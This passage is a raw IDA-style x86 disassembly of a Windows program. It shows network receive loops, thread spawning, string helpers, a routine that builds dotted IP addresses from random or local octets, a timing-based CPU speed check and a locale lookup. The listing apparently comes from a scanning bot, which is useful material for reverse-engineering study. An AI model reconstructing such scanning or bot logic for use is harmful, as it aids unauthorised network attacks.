[ebp+var_16D4] push esi push eax push [ebp+var_4] call edi ; recv cmp eax, ebx jz short loc_404F75 cmp eax, 0FFFFFFFFh jz short loc_404F75 push eax lea eax, [ebp+var_16D4] push eax push [ebp+arg_0] call sub_403D54 add esp, 0Ch test eax, eax jz short loc_404F75 loc_404F6B: ; CODE XREF: sub_404D33+208j push 32h call ds:dword_4110A4 ; Sleep jmp short loc_404EF5 ; --------------------------------------------------------------------------- loc_404F75: ; CODE XREF: sub_404D33+1DFj ; sub_404D33+1E4j ... push [ebp+arg_0] call sub_403D27 push [ebp+var_4] call sub_403D27 pop ecx pop ecx loc_404F87: ; CODE XREF: sub_404D33+52j ; sub_404D33+5Bj ... pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_404D33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F90 proc near ; DATA XREF: sub_4050D1+8Fo var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_1B6 = byte ptr -1B6h var_1A6 = byte ptr -1A6h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1C0h push 1BDh lea eax, [ebp+var_1C0] push [ebp+arg_0] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free lea eax, [ebp+var_1BC] push 1 push eax call sub_4035FB add esp, 18h mov [ebp+arg_0], eax test eax, eax jnz short loc_404FE0 push [ebp+var_1C0] call sub_406753 pop ecx xor eax, eax jmp locret_4050CD ; --------------------------------------------------------------------------- loc_404FE0: ; CODE XREF: sub_404F90+3Bj push ebx push esi lea eax, [ebp+var_1BC] push edi push eax mov eax, [ebp+var_1C0] push dword ptr [eax] lea eax, [ebp+var_1A6] push offset dword_412EC4 push eax call sub_408D50 mov edi, 3E8h push edi push [ebp+arg_0] call sub_40371E add esp, 18h loc_405014: ; CODE XREF: sub_404F90+11Ej mov ebx, eax mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jnz loc_4050B3 test ebx, ebx jz loc_4050B3 cmp ebx, 0FFFFFFFFh jz short loc_4050A3 push 1BDh call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jnz short loc_40504C push ebx call sub_403D49 jmp short loc_4050A2 ; --------------------------------------------------------------------------- loc_40504C: ; CODE XREF: sub_404F90+B2j lea eax, [ebp+var_1BC] mov [esi], ebx push eax lea eax, [esi+4] push eax call sub_410820 ; _mbscpy lea eax, [ebp+var_1B6] push eax lea eax, [esi+0Ah] push eax call sub_410820 ; _mbscpy lea eax, [ebp+var_1A6] push 1A3h push eax lea eax, [esi+1Ah] push eax call sub_410838 ; memcpy push esi push offset sub_404D33 call sub_406541 add esp, 24h test eax, eax jnz short loc_4050A3 push esi call sub_410832 ; free push ebx call sub_403D49 pop ecx loc_4050A2: ; CODE XREF: sub_404F90+BAj pop ecx loc_4050A3: ; CODE XREF: sub_404F90+A1j ; sub_404F90+103j push edi push [ebp+arg_0] call sub_40371E pop ecx pop ecx jmp loc_405014 ; --------------------------------------------------------------------------- loc_4050B3: ; CODE XREF: sub_404F90+90j ; sub_404F90+98j push [ebp+arg_0] call sub_4038E1 push [ebp+var_1C0] call sub_406753 pop ecx xor eax, eax pop ecx pop edi pop esi pop ebx locret_4050CD: ; CODE XREF: sub_404F90+4Bj leave retn 4 sub_404F90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4050D1 proc near ; CODE XREF: sub_40735A+113p var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx mov ebx, [ebp+arg_4] test ebx, ebx push esi jnz short loc_405102 lea eax, [ebp+var_8] push 0Ah push eax push 0FFFFh push 401h call sub_40AADE pop ecx pop ecx push eax call sub_410C9A ; _itoa add esp, 0Ch lea ebx, [ebp+var_8] loc_405102: ; CODE XREF: sub_4050D1+Cj push 1BDh call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40516E lea eax, [esi+4] push ebx push eax call sub_410820 ; _mbscpy mov eax, [ebp+arg_8] pop ecx test eax, eax pop ecx jnz short loc_40512B mov eax, offset byte_417B60 loc_40512B: ; CODE XREF: sub_4050D1+53j push edi push 10h push eax lea eax, [esi+0Ah] push eax call sub_4052A6 mov edi, [ebp+arg_0] push 1A3h lea eax, [esi+1Ah] push edi push eax call sub_410838 ; memcpy xor eax, eax add esp, 18h cmp [edi+18Bh], al push ebx push offset dword_412EF8 setz al push eax push esi push offset sub_404F90 call sub_40663C add esp, 14h pop edi loc_40516E: ; CODE XREF: sub_4050D1+40j pop esi pop ebx leave retn sub_4050D1 endp ; =============== S U B R O U T I N E ======================================= sub_405172 proc near ; CODE XREF: sub_40B7A2+20Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] test esi, esi mov edx, esi jl short loc_405198 mov eax, [esp+4+arg_0] lea ecx, [eax+esi*2] loc_405184: ; CODE XREF: sub_405172+24j mov eax, [esp+4+arg_4] mov al, [edx+eax] mov [ecx], al and byte ptr [ecx+1], 0 dec edx dec ecx dec ecx test edx, edx jge short loc_405184 loc_405198: ; CODE XREF: sub_405172+9j mov eax, esi pop esi retn sub_405172 endp ; =============== S U B R O U T I N E ======================================= sub_40519C proc near ; CODE XREF: sub_40735A+182p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_410826 ; strlen pop ecx loc_4051A8: ; CODE XREF: sub_40519C+1Bj test eax, eax jz short loc_4051B9 dec eax cmp byte ptr [eax+esi], 20h jnz short loc_4051B9 and byte ptr [eax+esi], 0 jmp short loc_4051A8 ; --------------------------------------------------------------------------- loc_4051B9: ; CODE XREF: sub_40519C+Ej ; sub_40519C+15j pop esi retn sub_40519C endp ; =============== S U B R O U T I N E ======================================= sub_4051BB proc near ; CODE XREF: sub_40543F+Cp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov edx, [esp+arg_0] xor eax, eax loc_4051C1: ; CODE XREF: sub_4051BB+14j mov cl, [edx] test cl, cl jz short locret_4051D1 cmp cl, [esp+arg_4] jnz short loc_4051CE inc eax loc_4051CE: ; CODE XREF: sub_4051BB+10j inc edx jmp short loc_4051C1 ; --------------------------------------------------------------------------- locret_4051D1: ; CODE XREF: sub_4051BB+Aj retn sub_4051BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4051D2 proc near ; CODE XREF: sub_4098BB+2Ap ; sub_4098BB+EDp var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi xor esi, esi push edi cmp [ebp+arg_10], esi jnz short loc_4051FB push esi push esi push [ebp+arg_8] call sub_410850 ; memset push esi push esi push [ebp+arg_C] call sub_410850 ; memset add esp, 18h xor eax, eax jmp short loc_405271 ; --------------------------------------------------------------------------- loc_4051FB: ; CODE XREF: sub_4051D2+Cj push [ebp+arg_0] mov esi, [ebp+arg_4] push esi call sub_410820 ; _mbscpy lea eax, [ebp+var_4] push eax push offset dword_412F18 push [ebp+arg_0] call sub_405733 mov ebx, [ebp+arg_8] add esp, 14h push 1 mov [ebx], eax mov eax, [ebp+arg_C] pop edi cmp [ebp+arg_10], edi mov [eax], esi jle short loc_40526E mov [ebp+arg_8], eax lea esi, [ebx+4] sub [ebp+arg_8], ebx loc_405236: ; CODE XREF: sub_4051D2+9Aj xor eax, eax cmp [esi-4], eax jz short loc_405276 lea ecx, [ebp+var_4] push ecx push offset dword_412F18 push eax call sub_405733 add esp, 0Ch mov [esi], eax test eax, eax jz short loc_40525D sub eax, [ebp+arg_0] add eax, [ebp+arg_4] jmp short loc_40525F ; --------------------------------------------------------------------------- loc_40525D: ; CODE XREF: sub_4051D2+81j xor eax, eax loc_40525F: ; CODE XREF: sub_4051D2+89j mov ecx, [ebp+arg_8] inc edi mov [ecx+esi], eax add esi, 4 cmp edi, [ebp+arg_10] jl short loc_405236 loc_40526E: ; CODE XREF: sub_4051D2+59j mov eax, [ebp+arg_10] loc_405271: ; CODE XREF: sub_4051D2+27j ; sub_4051D2+D2j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_405276: ; CODE XREF: sub_4051D2+69j mov esi, edi imul esi, 3FFFFFFFh add esi, [ebp+arg_10] shl esi, 2 push esi push eax lea eax, [ebx+edi*4] push eax call sub_410850 ; memset mov eax, [ebp+arg_C] push esi push 0 lea eax, [eax+edi*4] push eax call sub_410850 ; memset add esp, 18h lea eax, [edi-1] jmp short loc_405271 sub_4051D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4052A6 proc near ; CODE XREF: sub_40110A+58p ; sub_40110A+8Cp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_4052D0 cmp ecx, 1 jz short loc_4052CD loc_4052BD: ; CODE XREF: sub_4052A6+25j mov al, [esi] mov [edi], al test al, al jz short loc_4052D0 inc esi inc edi dec ecx cmp ecx, 1 jnz short loc_4052BD loc_4052CD: ; CODE XREF: sub_4052A6+15j mov byte ptr [edi], 0 loc_4052D0: ; CODE XREF: sub_4052A6+10j ; sub_4052A6+1Dj pop edi pop esi pop ebp retn sub_4052A6 endp ; =============== S U B R O U T I N E ======================================= sub_4052D4 proc near ; CODE XREF: sub_40678D+17p ; sub_406868+1Bp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] loc_4052D8: ; CODE XREF: sub_4052D4+15j mov cl, [eax] test cl, cl jz short loc_4052EE cmp cl, 30h jl short loc_4052EB cmp byte ptr [eax], 39h jg short loc_4052EB inc eax jmp short loc_4052D8 ; --------------------------------------------------------------------------- loc_4052EB: ; CODE XREF: sub_4052D4+Dj ; sub_4052D4+12j xor al, al retn ; --------------------------------------------------------------------------- loc_4052EE: ; CODE XREF: sub_4052D4+8j mov al, 1 retn sub_4052D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4052F1 proc near ; CODE XREF: sub_401000+9Cp ; sub_40F11A+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_8] push edi call sub_410826 ; strlen mov ebx, [ebp+arg_4] and [ebp+arg_8], 0 sub ebx, eax pop ecx mov [ebp+var_4], eax js short loc_405349 mov esi, [ebp+arg_0] loc_405313: ; CODE XREF: sub_4052F1+56j mov al, [esi] mov cl, [edi] cmp al, cl jz short loc_40532F movsx edx, al movsx eax, cl lea ecx, [eax+20h] cmp edx, ecx jz short loc_40532F add eax, 0FFFFFFE0h cmp edx, eax jnz short loc_405340 loc_40532F: ; CODE XREF: sub_4052F1+28j ; sub_4052F1+35j push [ebp+var_4] push edi push esi call sub_410CA0 ; _strnicmp add esp, 0Ch test eax, eax jz short loc_405350 loc_405340: ; CODE XREF: sub_4052F1+3Cj inc [ebp+arg_8] inc esi cmp [ebp+arg_8], ebx jle short loc_405313 loc_405349: ; CODE XREF: sub_4052F1+1Dj xor eax, eax loc_40534B: ; CODE XREF: sub_4052F1+67j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_405350: ; CODE XREF: sub_4052F1+4Dj mov eax, [ebp+arg_8] mov ecx, [ebp+arg_0] add eax, ecx jmp short loc_40534B sub_4052F1 endp ; =============== S U B R O U T I N E ======================================= sub_40535A proc near ; CODE XREF: sub_406F40+CCp ; sub_409A8C+Cp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] xor eax, eax mov cl, [esi] loc_405363: ; CODE XREF: sub_40535A+1Cj test cl, cl jz short loc_405378 cmp cl, 0Dh jz short loc_40537C cmp cl, 0Ah jz short loc_40537C mov cl, [eax+esi+1] inc eax jmp short loc_405363 ; --------------------------------------------------------------------------- loc_405378: ; CODE XREF: sub_40535A+Bj add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_40537C: ; CODE XREF: sub_40535A+10j ; sub_40535A+15j push edi xor ecx, ecx lea edi, [eax+esi] loc_405382: ; CODE XREF: sub_40535A+3Aj mov dl, [edi+ecx] cmp dl, 0Dh jz short loc_40538F cmp dl, 0Ah jnz short loc_405396 loc_40538F: ; CODE XREF: sub_40535A+2Ej and byte ptr [edi+ecx], 0 inc ecx jmp short loc_405382 ; --------------------------------------------------------------------------- loc_405396: ; CODE XREF: sub_40535A+33j add eax, ecx pop edi add eax, esi pop esi retn sub_40535A endp ; =============== S U B R O U T I N E ======================================= sub_40539D proc near ; CODE XREF: sub_40CF3E+4Ep ; sub_40CF3E+C6p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov cl, [eax] inc eax test cl, cl jz short locret_4053B9 loc_4053A8: ; CODE XREF: sub_40539D+17j mov cl, [eax] test cl, cl jz short locret_4053B9 cmp cl, 20h jz short loc_4053B6 inc eax jmp short loc_4053A8 ; --------------------------------------------------------------------------- loc_4053B6: ; CODE XREF: sub_40539D+14j and byte ptr [eax], 0 locret_4053B9: ; CODE XREF: sub_40539D+9j ; sub_40539D+Fj retn sub_40539D endp ; =============== S U B R O U T I N E ======================================= sub_4053BA proc near ; CODE XREF: sub_4058D7+21Fp ; sub_40849F+62p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] xor eax, eax mov esi, ecx loc_4053C8: ; CODE XREF: sub_4053BA+2Aj mov dl, [esi] cmp dl, 20h jnz short loc_4053D8 test edi, edi jnz short loc_4053E3 push 1 pop edi jmp short loc_4053DA ; --------------------------------------------------------------------------- loc_4053D8: ; CODE XREF: sub_4053BA+13j xor edi, edi loc_4053DA: ; CODE XREF: sub_4053BA+1Cj mov [eax+ecx], dl inc eax cmp byte ptr [esi], 0 jz short loc_4053E6 loc_4053E3: ; CODE XREF: sub_4053BA+17j inc esi jmp short loc_4053C8 ; --------------------------------------------------------------------------- loc_4053E6: ; CODE XREF: sub_4053BA+27j cmp [esp+8+arg_8], 0 pop edi pop esi jz short locret_4053FE loc_4053EF: ; CODE XREF: sub_4053BA+42j test eax, eax jz short locret_4053FE and byte ptr [eax+ecx], 0 dec eax cmp byte ptr [eax+ecx], 20h jz short loc_4053EF locret_4053FE: ; CODE XREF: sub_4053BA+33j ; sub_4053BA+37j retn sub_4053BA endp ; =============== S U B R O U T I N E ======================================= sub_4053FF proc near ; CODE XREF: sub_40543F+41p ; sub_40543F+50p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push ebx push esi push edi mov edi, [esp+0Ch+arg_0] xor eax, eax mov ebx, edi mov esi, ecx sub ebx, ecx loc_405412: ; CODE XREF: sub_4053FF+26j mov dl, [esi] cmp dl, 2Eh jz short loc_40542D test dl, dl jz short loc_405437 mov [ebx+esi], dl inc eax inc esi cmp eax, 4 jl short loc_405412 xor eax, eax loc_405429: ; CODE XREF: sub_4053FF+36j ; sub_4053FF+3Ej pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40542D: ; CODE XREF: sub_4053FF+18j and byte ptr [eax+edi], 0 lea eax, [eax+ecx+1] jmp short loc_405429 ; --------------------------------------------------------------------------- loc_405437: ; CODE XREF: sub_4053FF+1Cj and byte ptr [eax+edi], 0 add eax, ecx jmp short loc_405429 sub_4053FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40543F proc near ; CODE XREF: sub_405580+19p ; sub_405580+38p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_0] push edi push 2Eh push esi call sub_4051BB pop ecx cmp eax, 3 pop ecx jg short loc_40547A mov ecx, [ebp+arg_10] mov edi, [ebp+arg_8] xor ebx, ebx mov [ecx], bl mov ecx, [ebp+arg_C] sub eax, ebx mov [ecx], bl mov ecx, [ebp+arg_4] mov [edi], bl mov [ecx], bl jz short loc_4054AD dec eax jz short loc_40549C dec eax jz short loc_40548D dec eax jz short loc_40547E loc_40547A: ; CODE XREF: sub_40543F+16j ; sub_40543F+4Cj ... xor eax, eax jmp short loc_4054BE ; --------------------------------------------------------------------------- loc_40547E: ; CODE XREF: sub_40543F+39j push esi push ecx call sub_4053FF mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_40547A loc_40548D: ; CODE XREF: sub_40543F+36j push esi push edi call sub_4053FF mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_40547A loc_40549C: ; CODE XREF: sub_40543F+33j push esi push [ebp+arg_C] call sub_4053FF mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_40547A loc_4054AD: ; CODE XREF: sub_40543F+30j push esi push [ebp+arg_10] call sub_4053FF neg eax pop ecx sbb eax, eax pop ecx neg eax loc_4054BE: ; CODE XREF: sub_40543F+3Dj pop edi pop esi pop ebx pop ebp retn sub_40543F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4054C3 proc near ; CODE XREF: sub_405580+81p ; sub_405580+97p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, [ebp+arg_4] mov dl, [eax] cmp dl, 72h jnz short loc_4054F7 cmp byte ptr [eax+1], 0 jnz short loc_4054F7 push 0Ah push [ebp+arg_C] push 0FFh push 0 call sub_40AADE pop ecx pop ecx push eax call sub_410C9A ; _itoa add esp, 0Ch jmp loc_40557B ; --------------------------------------------------------------------------- loc_4054F7: ; CODE XREF: sub_4054C3+Bj ; sub_4054C3+11j cmp dl, 73h jz short loc_405501 cmp dl, 69h jnz short loc_405560 loc_405501: ; CODE XREF: sub_4054C3+37j cmp byte ptr [eax+1], 0 jnz short loc_405560 mov ecx, [ebp+arg_0] mov al, [ecx] test al, al jz short loc_405543 cmp [ebp+arg_10], 0 jz short loc_40553C push ebx push ecx call sub_41088C ; atoi mov ebx, eax push 0Ah push [ebp+arg_C] inc bl movzx eax, bl push eax call sub_410C9A ; _itoa add esp, 10h xor eax, eax test bl, bl setz al pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_40553C: ; CODE XREF: sub_4054C3+51j test al, al jz short loc_405543 push ecx jmp short loc_405552 ; --------------------------------------------------------------------------- loc_405543: ; CODE XREF: sub_4054C3+4Bj ; sub_4054C3+7Bj cmp dl, 69h jnz short loc_40554F push offset dword_412F1C jmp short loc_405552 ; --------------------------------------------------------------------------- loc_40554F: ; CODE XREF: sub_4054C3+83j push [ebp+arg_8] loc_405552: ; CODE XREF: sub_4054C3+7Ej ; sub_4054C3+8Aj push [ebp+arg_C] call sub_410820 ; _mbscpy pop ecx xor eax, eax pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_405560: ; CODE XREF: sub_4054C3+3Cj ; sub_4054C3+42j test dl, dl jnz short loc_40556B mov eax, [ebp+arg_0] cmp [eax], dl jz short loc_40556E loc_40556B: ; CODE XREF: sub_4054C3+9Fj push eax jmp short loc_405571 ; --------------------------------------------------------------------------- loc_40556E: ; CODE XREF: sub_4054C3+A6j push [ebp+arg_8] loc_405571: ; CODE XREF: sub_4054C3+A9j push [ebp+arg_C] call sub_410820 ; _mbscpy pop ecx pop ecx loc_40557B: ; CODE XREF: sub_4054C3+2Fj mov eax, [ebp+arg_10] pop ebp retn sub_4054C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405580 proc near ; CODE XREF: sub_40E18A+137p ; sub_40E18A+2F4p var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_2C] push eax push [ebp+arg_0] call sub_40543F add esp, 14h test eax, eax jz short loc_4055EB lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_4] call sub_40543F add esp, 14h test eax, eax jz short loc_4055EB lea eax, [ebp+var_4] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_24] push eax push offset dword_418C78 call sub_40543F add esp, 14h test eax, eax jz short loc_4055EB cmp byte ptr [ebp+arg_0], 0 jnz short loc_4055EF loc_4055EB: ; CODE XREF: sub_405580+23j ; sub_405580+42j ... xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4055EF: ; CODE XREF: sub_405580+69j lea eax, [ebp+var_30] push 1 push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_8] push eax call sub_4054C3 push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_14] push eax call sub_4054C3 push eax lea eax, [ebp+var_38] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_20] push eax call sub_4054C3 push eax lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_2C] push eax call sub_4054C3 add esp, 50h lea eax, [ebp+var_30] push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3C] push eax push offset loc_412F20 push [ebp+arg_8] call sub_410844 ; sprintf add esp, 18h push 1 pop eax leave retn sub_405580 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405670 proc near ; CODE XREF: sub_40E18A+E6p var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_10] push eax push [ebp+arg_0] call sub_40543F add esp, 14h test eax, eax jz short loc_4056B6 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_14] push eax push offset dword_418C78 call sub_40543F add esp, 14h test eax, eax jnz short loc_4056BA loc_4056B6: ; CODE XREF: sub_405670+23j xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4056BA: ; CODE XREF: sub_405670+44j cmp [ebp+var_10], 0 jnz short loc_4056CF lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax call sub_410820 ; _mbscpy pop ecx pop ecx loc_4056CF: ; CODE XREF: sub_405670+4Ej cmp [ebp+var_C], 0 jnz short loc_4056E4 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_410820 ; _mbscpy pop ecx pop ecx loc_4056E4: ; CODE XREF: sub_405670+63j cmp [ebp+var_8], 0 jnz short loc_4056F9 lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_8] push eax call sub_410820 ; _mbscpy pop ecx pop ecx loc_4056F9: ; CODE XREF: sub_405670+78j cmp [ebp+var_4], 0 jnz short loc_40570E lea eax, [ebp+var_20] push eax lea eax, [ebp+var_4] push eax call sub_410820 ; _mbscpy pop ecx pop ecx loc_40570E: ; CODE XREF: sub_405670+8Dj lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_10] push eax push offset loc_412F20 push [ebp+arg_0] call sub_410844 ; sprintf add esp, 18h push 1 pop eax leave retn sub_405670 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405733 proc near ; CODE XREF: sub_4051D2+41p ; sub_4051D2+75p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jz short loc_405742 mov ecx, [ebp+arg_8] mov [ecx], eax loc_405742: ; CODE XREF: sub_405733+8j mov eax, [ebp+arg_8] push ebx push esi push edi mov ecx, [eax] mov edi, [ebp+arg_4] mov al, [ecx] test al, al jz short loc_405776 mov bl, [edi] loc_405755: ; CODE XREF: sub_405733+41j test bl, bl mov esi, edi jz short loc_405769 mov dl, bl loc_40575D: ; CODE XREF: sub_405733+34j cmp dl, al jz short loc_405769 mov dl, [esi+1] inc esi test dl, dl jnz short loc_40575D loc_405769: ; CODE XREF: sub_405733+26j ; sub_405733+2Cj cmp byte ptr [esi], 0 jz short loc_405776 mov al, [ecx+1] inc ecx test al, al jnz short loc_405755 loc_405776: ; CODE XREF: sub_405733+1Ej ; sub_405733+39j cmp byte ptr [ecx], 0 mov edx, ecx mov esi, edi jz short loc_405799 loc_40577F: ; CODE XREF: sub_405733+5Ej mov al, [edx] cmp al, [esi] jz short loc_405795 inc esi cmp byte ptr [esi], 0 jnz short loc_40578E mov esi, edi inc edx loc_40578E: ; CODE XREF: sub_405733+56j cmp byte ptr [edx], 0 jnz short loc_40577F jmp short loc_405799 ; --------------------------------------------------------------------------- loc_405795: ; CODE XREF: sub_405733+50j and byte ptr [edx], 0 inc edx loc_405799: ; CODE XREF: sub_405733+4Aj ; sub_405733+60j mov eax, [ebp+arg_8] pop edi pop esi pop ebx mov [eax], edx mov eax, ecx sub eax, edx neg eax sbb eax, eax and eax, ecx pop ebp retn sub_405733 endp ; =============== S U B R O U T I N E ======================================= sub_4057AD proc near ; CODE XREF: sub_4057B0:loc_4057BAp ; sub_4057B0+1Ep rdtsc retn sub_4057AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4057B0 proc near ; CODE XREF: sub_4058D7+271p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor esi, esi loc_4057BA: ; CODE XREF: sub_4057B0+42j ; sub_4057B0+4Cj call sub_4057AD push 3E8h mov edi, eax mov ebx, edx call ds:dword_4110A4 ; Sleep call sub_4057AD sub eax, edi push esi sbb edx, ebx push 186A0h push edx push eax call sub_410980 push esi push 0Ah push edx push eax call sub_410980 cmp edx, esi mov edi, eax ja short loc_4057BA jb short loc_4057FE cmp edi, 0F4240h ja short loc_4057BA loc_4057FE: ; CODE XREF: sub_4057B0+44j push esi push 64h push edx push edi call sub_410900 push 64h mov ecx, eax cmp edx, esi pop eax mov [ebp+var_4], esi ja short loc_405875 jb short loc_40581B cmp ecx, 50h jnb short loc_405821 loc_40581B: ; CODE XREF: sub_4057B0+64j push 4Bh mov [ebp+var_4], esi pop eax loc_405821: ; CODE XREF: sub_4057B0+69j cmp edx, esi ja short loc_405875 jb short loc_40582C cmp ecx, 47h jnb short loc_405832 loc_40582C: ; CODE XREF: sub_4057B0+75j push 42h mov [ebp+var_4], esi pop eax loc_405832: ; CODE XREF: sub_4057B0+7Aj cmp edx, esi ja short loc_405875 jb short loc_40583D cmp ecx, 37h jnb short loc_405843 loc_40583D: ; CODE XREF: sub_4057B0+86j push 32h mov [ebp+var_4], esi pop eax loc_405843: ; CODE XREF: sub_4057B0+8Bj cmp edx, esi ja short loc_405875 jb short loc_40584E cmp ecx, 26h jnb short loc_405854 loc_40584E: ; CODE XREF: sub_4057B0+97j push 21h mov [ebp+var_4], esi pop eax loc_405854: ; CODE XREF: sub_4057B0+9Cj cmp edx, esi ja short loc_405875 jb short loc_40585F cmp ecx, 1Eh jnb short loc_405865 loc_40585F: ; CODE XREF: sub_4057B0+A8j push 19h mov [ebp+var_4], esi pop eax loc_405865: ; CODE XREF: sub_4057B0+ADj cmp edx, esi ja short loc_405875 jb short loc_405870 cmp ecx, 0Ah jnb short loc_405875 loc_405870: ; CODE XREF: sub_4057B0+B9j xor eax, eax mov [ebp+var_4], esi loc_405875: ; CODE XREF: sub_4057B0+62j ; sub_4057B0+73j ... sub eax, ecx add eax, edi pop edi pop esi pop ebx leave retn sub_4057B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40587E proc near ; CODE XREF: sub_4088FC+15Ap ; sub_408F9D+2AFp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push edi mov edi, ds:dword_411038 push 1Fh push esi push 7 push 400h call edi ; GetLocaleInfoA neg eax sbb eax, eax mov byte ptr [esi+3], 0 neg eax mov [ebp+arg_0], eax jz short loc_4058BD push offset off_4130CC push esi call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jz short loc_4058BD push 1 pop eax jmp short loc_4058D3 ; --------------------------------------------------------------------------- loc_4058BD: ; CODE XREF: sub_40587E+27j ; sub_40587E+38j push 1Fh push esi push 7 push 800h call edi ; GetLocaleInfoA neg eax sbb eax, eax neg eax and byte ptr [esi+3], 0 loc_4058D3: ; CODE XREF: sub_40587E+3Dj pop edi pop esi pop ebp retn sub_40587E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4058D7 proc near ; DATA XREF: sub_405BB3+29o var_72C = 